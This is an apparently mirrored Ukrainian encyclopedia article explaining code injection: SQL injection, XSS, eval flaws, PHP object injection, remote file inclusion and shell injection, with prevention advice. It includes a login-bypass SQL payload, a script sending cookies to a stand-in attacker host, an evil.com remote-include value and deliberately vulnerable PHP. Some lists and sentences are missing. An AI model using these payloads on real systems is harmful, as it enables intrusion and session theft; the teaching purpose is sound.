Включення кодуВключення коду — це використання програмних помилок для обробки невірних даних. Включення коду може бути використане зловмисником для введення (включення) коду в комп'ютерну програму, щоб змінити хід її виконання. Наприклад, включення коду використовується для поширення комп'ютерних хробаків. Включення коду трапляється тоді, коли програма надсилає неперевірені дані інтерпретатору. Недоліки включення коду дуже поширені в унаслідуваному коді. Вони часто трапляються у SQL, LDAP, Xpath, або NoSQL запитах; командах операційної системи; синтаксичних аналізаторах XML, заголовках STMP, аргументах програми. Включення коду легко виявити при перегляді коду, проте його дуже важко виявити тестуванням. Сканери та фузери допомагають зловмисникам виявляти вразливості включення коду.[1] Включення коду може призвести до пошкодження чи втрати даних, відсутності звітності або відмови в доступі. Інколи включення коду може призвести навіть до зміни хосту. Деякі типи включення коду призводять до помилок інтерпретації, надаючи спеціальне значення простому вводу користувача. Це чимось схоже на нездатність розрізняти імена і звичайні слова. За тим же принципом в деяких видах вставленого коду важко розрізнити ввід користувача і системні команди. Техніка включення коду є поширеною при та зломі з метою отримання інформації, отриманні привілейованого або анонімного доступу до системи. Включення коду можна використовувати у зловмисних цілях, зокрема:
Ненавмисне використання включень кодуІнколи включення коду можуть використовувати з хорошою метою. Наприклад, використовуючи включення коду можна обманути систему, і змусити її поводитися певним чином без злого наміру.[2][3] Наприклад, завдяки включенню коду можна:
Користувачі можуть і не знати, що вони роблять включення коду, бо їхній ввід не був врахований розробниками системи. Наприклад:
Запобігання включення кодуЩоб запобігти проблемі включення коду, використовуйте обробку безпечного вводу/виводу, до якого належать:
Усі поради вище стосуються в основному включення коду при роботі з вебаплікаціями. Однак для роботи з включенням коду на комп'ютері користувача використовується дещо інший підхід. Деякі підходи що використовуються для виявлення та ізоляції включення керованого і некерованого коду:
Приклади включення кодуSQL ін'єкціяSQL ін'єкція використовує переваги синтаксису SQL для включення команд, які можуть читати чи змінювати базу даних або змінити значення оригінального запиту. Для прикладу, розглянемо вебсторінку, що має два поля для введення імені користувача і пароля. Насправді код сторінки згенерує SQL запит, щоб перевірити існує такий користувач і чи належний пароль він ввів: SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
Якщо запит повертає рядки, от доступ надається. Однак, якщо зловмисник введе валідне ім'я користувача і валідний код ( SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
В цьому прикладі, припускається, то поле "Password" є пусте або містить нешкідливий рядок символів. Вираз Ця техніка може бути вдосконалена, дозволяючи, наприклад, записувати декілька виразів або навіть завантажувати й запускати зовнішні програми. Включення HTML скриптівВебсервер має скрипт для гостьової книги, який приймає невеликі повідомлення від користувача, як правило отримуючи такі повідомлення Чудовий сайт! Однак, зловмисники можуть використати вразливість гостьової книги і скориставшись включенням коду залишити наступне повідомлення Nice site, I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>
Якщо інший користувач переглядатиме ту ж сторінку, включений код виконається. Код зверху дозволяє зловмиснику видавати себе за іншого користувача. Щоправда, ця ж програмна вразливість може бути викликана й абсолютно невинним користувачем, який ввів наступне повідомлення: Попередній коментар, >:) Включення HTML, або як його ще часто називають міжсайтовий скриптинг скриптів є доволі популярною темою. Він належить до помилок включення, коли ввід користувача потрапляє в вихідний HTML код, без перевірки чи це код, чи скрипт. Багато з цих проблем пов'язані з помилковим припущенням які дані вважати допустимими, або є наслідком спеціальних даних.[5] Вразливості динамічної оцінкиСтівен М.Крісті з Mitre Corporation запропонував це ім'я для групи вразливостей включення коду.
Вразливість включення коду при використанні функції eval проявляється тоді, коли зловмисник повністю або частково може контролювати аргументи, які передаються в виклик функції $myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
Аргумент функції " Включення об'єктівPHP дозволяє серіалізувати й десеріалізовувати цілі об'єкти. Якщо в функцію десіреалізації передати неперевірені дані, то таким чином можна переписати існуючі класи й виконати шкідливі дії.[7] Віддалене включення в файлРозглянемо таку PHP програму (вона містить файл визначений запитом): <?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
Цей код може опрацьовувати файли типу blue.php і red.php. Але зловмисники можуть задати COLOR=http://evil.com/exploit змусивши PHP завантажити зовнішній файл. Shell ін'єкціїShell ін'єкції названі так завдяки командній оболонці Linux, але це стосується всіх операційних систем, які дозволяють запуск програм з командного рядка. Типові функції, пов'язані з shell ін'єкціями:
Розглянемо таку PHP програму, яка запускає зовнішню програму <?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>
Ця програма може бути включена різними способами, використовуючи синтаксис різних функцій оболонки (це не повний перелік можливих варіантів):[8]
Деякі мови програмування мають функції для правильного завершення або оцінки стрічок, які використовуються для побудови команд оболонки: Однак, це не знімає з програміста відповідальності за знання і використання цих функцій. Окрім використання цих функцій також рекомендується валідація і зачистка вводу користувача. Безпечнішою альтернативою є використання API які виконують зовнішні програми напряму, а не через оболонку, унеможливлюючи тим самим включення в неї. Однак, API не підтримують багатьох зручних функцій оболонок, і їх синтаксис громіздкий в порівнянні з лаконічним синтаксисом оболонки. Див. такожПосилання
Зовнишні посилання
|
Portal di Ensiklopedia Dunia